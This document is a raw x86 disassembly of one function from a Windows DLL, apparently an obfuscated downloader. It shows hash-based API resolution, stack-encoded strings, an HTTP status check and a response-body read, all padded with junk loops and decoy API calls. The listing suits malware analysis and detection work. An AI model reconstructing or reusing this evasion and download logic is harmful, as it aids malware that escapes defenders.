mov byte [ebp - 0xaa], al
pop eax
push 2
mov dword [ebp - 0xe8], 0x76241322
mov dword [ebp - 0xe4], 0x4a25030c
mov dword [ebp - 0xe0], 0x1033817
mov dword [ebp - 0xdc], 0x6f146909
mov dword [ebp - 0xd8], 0x73237307
mov dword [ebp - 0xd4], 0x76017205
mov dword [ebp - 0xd0], 0x3197515
mov dword [ebp - 0xcc], 0x731b001c
mov dword [ebp - 0xc8], 0x602731a
mov dword [ebp - 0xc4], 0x7f1f7006
mov byte [ebp - 0xc0], 0x16
mov dword [ebp - 0xbe], 0x1918061d
mov dword [ebp - 0xba], 0xa201e12
mov dword [ebp - 0xb6], 0x7f1e000a
mov dword [ebp - 0xb2], 0x1d137621
mov dword [ebp - 0xae], 0x1c10000e
mov dword [ebp - 0xa9], 0xd071172
mov dword [ebp - 0xa5], 0x4480077
mov byte [ebp - 0xa1], al
mov dword [ebp - 0xa0], 0x70f0f08
mov word [ebp - 0x48c], ax
pop esi
movzx eax, byte [ebp + esi - 0xea]
movzx ecx, byte [ebp + esi - 0xe7]
movzx edx, word [ebp + eax*2 - 0x4d0]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0xe8]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x4d0], dx
cmp esi, 0x4c
jb 0x10013cb2
xor eax, eax
lea ecx, [ebp - 0x280]
push 4
mov word [ebp - 0x484], ax
call fcn.1000995a
push 0x1641
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff7
inc eax
lea ecx, [ebp - 0x4c]
push 0x6afe
push eax
push ecx
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x14], eax
push ecx
mov dl, al
mov cl, al
call fcn.10011ae1
add esp, 0x14
mov dword [ebp - 0x4c], ebx
jmp 0x10013d47
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x3a4], 0x2fdcba86
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jl 0x10013d36
mov ecx, dword [ebp - 0x280]
mov dword [ecx + 8], ebx
cmp dword [ebp - 0x14], ebx
jne 0x10013d5e
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ecx + 8]
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0x5fac
mov dword [ebp - 0x3a0], eax
sete cl
imul ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x14]
sub ecx, 0x91f6
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x14]
jne 0x10013da7
cmp dword [ebp - 0x18], ebx
jne 0x10013da7
mov eax, ebx
jmp 0x10013daa
xor eax, eax
inc eax
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x280]
call fcn.100099dd
xor eax, eax
mov dword [ebp - 0x2b4], 7
mov word [ebp - 0x2c8], ax
lea ecx, [ebp - 0x2c8]
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x2b8], ebx
push eax
call fcn.10009d6f
mov byte [ebp - 4], 0x16
mov cl, 1
mov dword [ebp - 0x204], 0xa8eac8b1
call fcn.1001272c
push ecx
lea eax, [ebp - 0x204]
push eax
sub esp, 0xc
push 1
push 0x4c59
call fcn.10012840
add esp, 0x1c
lea edi, [ebp - 0x4d0]
xor eax, eax
mov esi, 0x2708
cmp dword [ebp - 0x2d8], 8
push 0x13
pop ecx
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x3b4]
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x2ec]
cmovae eax, dword [ebp - 0x2ec]
mov edi, 0x3de0
push eax
push edi
push esi
call fcn.100251e1
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001435a
cmp dword [ebp - 0x2b4], 8
lea ecx, [ebp - 0x3c4]
push ecx
lea eax, [ebp - 0x2c8]
cmovae eax, dword [ebp - 0x2c8]
push eax
push edi
push esi
call fcn.100251e1
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001435a
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3b4]
push eax
push 3
push ebx
lea eax, [ebp - 0x3c4]
push eax
push edi
push 0x3320
call fcn.100251e1
pop ecx
pop ecx
call eax
test eax, eax
js 0x1001435a
cmp dword [ebp - 0x38], 0
je 0x1001435a
push 0xb
pop eax
mov word [ebp - 0x388], ax
mov ecx, ebx
xor eax, eax
mov dword [ebp - 0x60], 0x78037700
push 0x47
mov word [ebp - 0x380], ax
pop eax
push 2
mov dword [ebp - 0x5c], 0x22017808
mov word [ebp - 0x58], 0x1102
mov word [ebp - 0x158], ax
pop esi
mov dword [ebp - 0x150], ecx
cmp esi, 2
jne 0x10013f0d
push 4
pop ecx
push ecx
mov dword [ebp - 0x150], ecx
pop esi
jmp 0x10013f68
movzx edx, byte [ebp + esi - 0x5f]
mov eax, esi
sub eax, ecx
push 0x2baa
push 0x121f
push 0x6f0
movzx eax, byte [ebp + eax - 0x62]
push 0x320e
movzx eax, word [ebp + eax*2 - 0x158]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x98e
sub ecx, eax
movzx eax, byte [ebp + esi - 0x60]
push ecx
push 1
mov word [ebp + eax*2 - 0x158], cx
lea ecx, [ebp - 0x150]
call fcn.10011bb6
mov ecx, dword [ebp - 0x150]
add esp, 0x18
add esi, 2
cmp esi, 0xa
jb 0x10013efb
xor eax, eax
mov dword [ebp - 0x1a8], 7
mov word [ebp - 0x152], ax
lea ecx, [ebp - 0x1bc]
mov word [ebp - 0x1bc], ax
lea eax, [ebp - 0x158]
push eax
mov dword [ebp - 0x1ac], ebx
call fcn.10009d6f
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x1bc]
cmp dword [ebp - 0x1a8], 8
mov eax, dword [ebp - 0x1ac]
cmovae ecx, dword [ebp - 0x1bc]
push dword [ebp - 0x174]
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x154], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x234], ebx
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x230], ebx
cmovae ecx, dword [ebp - 0x1bc]
push eax
push ecx
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x22c], ebx
call fcn.1001503e
lea eax, [ebp - 0x244]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x244], ebx
call fcn.10014938
mov edx, dword [ebp - 0x180]
cmp dword [edx + 0x14], 8
jb 0x1001402d
mov ecx, dword [edx]
jmp 0x1001402f
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x1001403d
mov edx, dword [edx]
push dword [ebp - 0x174]
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x1c8], ebx
push eax
push edx
mov dword [ebp - 0x1c4], ebx
mov dword [ebp - 0x1c0], ebx
call fcn.1001503e
lea eax, [ebp - 0x1c8]
mov byte [ebp - 4], 0x19
push 1
push eax
call fcn.100129f4
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x328]
cmp dword [ebp - 0x1a8], 8
lea edx, [ebp - 0x1bc]
cmovae edx, dword [ebp - 0x1bc]
mov ecx, dword [eax]
push ecx
push ecx
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x328]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x388]
push dword [ebp - 0x1c8]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10014321
mov dword [ebp - 0x20], 0x48e
cmp dword [ebp - 0x20], 0x4c1
jle 0x1001412e
push 0xf81
call dword [sym.imp.USER32.dll_IsZoomed]
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x450]
and eax, esi
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10014107
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x450]
call fcn.100015c8
inc edi
cmp edi, 0x4412
jl 0x100140eb
inc esi
cmp esi, 0x4c3b
jl 0x100140e9
cmp dword [ebp - 0x20], 0x197
mov dword [ebp - 0x144], ebx
jge 0x10014148
push str.jpd_hlckliv_emt_kjbbhcyn_vgssysu_ovrct_epsucdw_dxazcbnd_ymzqzi_bzm_jjuftrd_fdevhl_vkfrvgic
call fcn.100420be
pop ecx
mov dword [ebp - 4], 0x19
mov cl, 1
mov esi, dword [ebp - 0x164]
cmp esi, dword [ebp - 0x160]
je 0x100141a9
add esi, 0x18
test cl, cl
je 0x10014191
cmp dword [esi + 0x14], 8
jb 0x10014170
mov edi, dword [esi]
jmp 0x10014172
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1001417d
mov edx, dword [esi - 0x18]
jmp 0x10014180
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x38]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10014193
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x160]
jne 0x10014162
test cl, cl
je 0x10014321
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x328]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10014321
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x144]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10014321
cmp dword [ebp - 0x144], 0x130
je 0x100141fd
cmp dword [ebp - 0x144], 0xc8
jne 0x10014321
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x3d8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10014321
mov esi, dword [ebp - 0x3d0]
test esi, esi
je 0x10014321
mov eax, dword [esi]
lea ecx, [ebp - 0x568]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1001431b
mov eax, dword [ebp - 0x560]
lea edx, [ebp - 0x64]
push 0x7470
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x170]
push eax
push 0x730f
push ecx
push 1
call fcn.10012758
mov edx, dword [ebp - 0x64]
mov eax, ebx
mov edi, dword [ebp - 0x170]
add esp, 0x14
mov dword [ebp - 0x17c], edx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x14c], eax
mov ecx, dword [esi]
add eax, edi
lea edi, [ebp - 0x13c]
push edi
push edx
push eax
push esi
call dword [ecx + 0xc]
mov edi, dword [ebp - 0x170]
test eax, eax
js 0x100142fa
push 0x265b
lea eax, [ebp - 0x14c]
mov edx, 0x7577
push eax
push ecx
push ebx
lea ecx, [ebp - 0x13c]
call fcn.10011f5f
lea eax, [ebp - 0x13c]
mov edx, 0x6d32
push eax
push 1
push ebx
push 0x49d1
push 0x4e4c
lea eax, [ebp - 0x17c]
mov ecx, 0x70de
push eax
push 1
call fcn.10011fd7
mov eax, dword [ebp - 0x14c]
add esp, 0x2c
cmp eax, dword [ebp - 0x64]
jae 0x100142fa
mov edx, dword [ebp - 0x17c]
jmp 0x1001427f
push ebx
push ecx
lea eax, [ebp - 0x170]
push eax
push ecx
push ecx
push 0x4098
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x14c]
call fcn.10012a1b
add esp, 0x18
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x38], ebx
call fcn.10014a92
lea ecx, [ebp - 0x234]
call fcn.10014a92
push ebx
push 1
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 0x16
call fcn.10001734
mov edi, 0x3de0
push edi
push 0x2860
call fcn.100251e1
pop ecx
pop ecx
call eax
mov dword [ebp - 0x178], 0x7dfa860b
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x54], 9
mov dword [ebp - 0x254], 3
mov dword [ebp - 0x198], 0xca12
mov dword [ebp - 0x20], 0x48d
cmp dword [ebp - 0x20], 0x789
jle 0x100143ee
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x480]
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100143c7
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x480]
call fcn.100015c8
inc edi
cmp edi, 0x1839
jl 0x100143a9
inc esi
cmp esi, 0xe24
jl 0x100143a7
mov dword [ebp - 0x18], ebx
jmp 0x10014404
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1a4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100143f3
cmp dword [ebp - 0x20], 0x3ad
jge 0x1001441e
push str.svtsf_jdqaue_yies_qxtxyltgi
call fcn.100420be
pop ecx
push ecx
push ecx
push 1
lea edx, [ebp - 0x178]
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0x3c]
call fcn.1001293c
add esp, 0xc
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], 2
jg 0x10014673
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], 0x80f885bd
mov dword [ebp - 0x1c], 0xdfe9
mov dword [ebp - 0x68], 0xd015b01d
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1a4]
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0x1a4]
mov eax, dword [ebp - 0x18]
neg ecx
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
je 0x10014606
mov dword [ebp - 0x20], 0x441b
cmp dword [ebp - 0x20], 0x454a
jle 0x100144fc
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x438]
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100144c4
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x438]
call fcn.100015c8
inc edi
cmp edi, 0x1654
jl 0x100144a6
inc esi
cmp esi, 0x5439
jl 0x100144a4
push 0x203
push 0x1ffe
push ebx
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x30], 0x868fdadf
cmp dword [ebp - 0x20], 0x4397
jge 0x10014517
push str.fvccm_jspribg_ykptqi_qwneioou_heabyi
call fcn.100420be
pop ecx
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x20], 9
mov ecx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1a4], ecx
mov dword [ebp - 0x18], 0xb
cmp dword [ebp - 0x18], 0xfffffffd
je 0x10014656
push 9
pop edi
push 2
lea ecx, [ebp - 0x2b0]
call fcn.1000995a
push ecx
lea eax, [ebp - 0x2b0]
mov byte [ebp - 4], 0x20
push eax
push 1
push ecx
push 0x789c
push ecx
lea eax, [ebp - 0x344]
mov edx, 0x383
push eax
call fcn.10011d93
mov edx, dword [ebp - 0x2b0]
add esp, 0x1c
xor ecx, ecx
mov eax, dword [edx]
dec eax
cmp eax, 0x6ed55c59
setne cl
cmp ecx, dword [edx + 4]
je 0x100145a3
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x1a4], ebx
je 0x100145ad
cmp dword [edx + 4], ebx
je 0x100145ad
xor esi, esi
inc esi
jmp 0x100145af
mov esi, ebx
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x68]
neg ecx
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x1c]
dec dword [ebp - 0x1c]
cmp edx, esi
jge 0x100145cd
xor eax, eax
inc eax
jmp 0x100145cf
mov eax, ebx
mov ecx, dword [ebp - 0x54]
cmp edi, eax
sbb eax, eax
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0x1a4]
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x2b0]
mov byte [ebp - 4], 0x16
call fcn.100099dd
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffd
jne 0x10014549
jmp 0x10014656
mov dword [ebp - 0x1ec], 0xb1aa435c
lea edx, [ebp - 0x1ec]
push 1
mov dword [ebp - 0x20], 0x9ed994ad
mov cl, 1
mov dword [ebp - 0x20], 0x70f3f850
push ebx
mov dword [ebp - 0x20], ebx
push 0x5623
mov dword [ebp - 0x20], 0xfffffffb
call fcn.100120b8
add esp, 0xc
lea eax, [ebp - 0x254]
lea ecx, [ebp - 0x198]
push 1
push eax
call fcn.10012a49
pop ecx
pop ecx
push 1
push ecx
mov byte [ebp - 0x48], bl
lea edx, [ebp - 0x48]
mov ecx, 0xff
call fcn.10012a77
inc dword [ebp - 0x3c]
pop ecx
pop ecx
jmp 0x1001443d
mov ecx, dword [ebp - 0x23c]
lea eax, [ebp - 0x170]
push eax
call fcn.10014883
push ebx
push 1
lea ecx, [ebp - 0x2c8]
call fcn.10001734
push ebx
push 1
lea ecx, [ebp - 0x2ec]
call fcn.10001734
lea ecx, [ebp - 0x164]
call fcn.100149a1
lea ecx, [ebp - 0x170]
call fcn.10014a1c
lea ecx, [ebp + 8]
call fcn.100149a1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret